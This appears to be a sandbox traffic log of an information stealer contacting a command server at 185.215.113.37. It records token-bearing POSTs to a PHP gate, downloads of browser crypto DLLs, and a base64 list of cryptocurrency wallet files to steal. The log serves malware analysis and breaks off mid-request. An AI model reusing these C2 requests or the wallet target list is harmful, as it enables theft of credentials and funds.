Oct 12, 2024 13:17:22.649063110 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 12, 2024 13:17:22.649108887 CEST	248	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Oct 12, 2024 13:17:23.767107964 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAA Host: 185.215.113.37 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Oct 12, 2024 13:17:24.543106079 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 13:17:24.637438059 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECF Host: 185.215.113.37 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 12, 2024 13:17:25.357330084 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 13:17:25.408333063 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCGHCBKFCFBFHIDHDBF Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="file"------EGCGHCBKFCFBFHIDHDBF--
Oct 12, 2024 13:17:26.133023024 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:25 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 13:17:26.596174002 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGID Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="file"------JJJKFBAAAFHJEBFIEGID--
Oct 12, 2024 13:17:27.310882092 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 13:17:27.582675934 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 12, 2024 13:17:27.809456110 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:27 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 12, 2024 13:17:28.632106066 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 12, 2024 13:17:28.857661963 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:28 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 12, 2024 13:17:29.308219910 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 12, 2024 13:17:29.678508997 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:29 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 12, 2024 13:17:29.892235994 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 12, 2024 13:17:30.117065907 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:30 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 12, 2024 13:17:31.707380056 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 12, 2024 13:17:31.932265997 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:31 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 12, 2024 13:17:32.221657038 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 12, 2024 13:17:32.448008060 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:32 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 12, 2024 13:17:32.906444073 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJJJDHDGDAAKECAKJDA Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 12, 2024 13:17:33.797245026 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:33 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 13:17:33.854218960 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKJDAAFBKFHIEBFCFBK Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 2d 2d 0d 0a Data Ascii: ------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="message"wallets------DAKJDAAFBKFHIEBFCFBK--
Oct 12, 2024 13:17:34.082361937 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:33 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 12, 2024 13:17:34.084753990 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGCGDBGCAAEBFIECGHD Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 2d 2d 0d 0a Data Ascii: ------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="message"files------JDGCGDBGCAAEBFIECGHD--
Oct 12, 2024 13:17:34.312064886 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 13:17:34.323750973 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEB Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 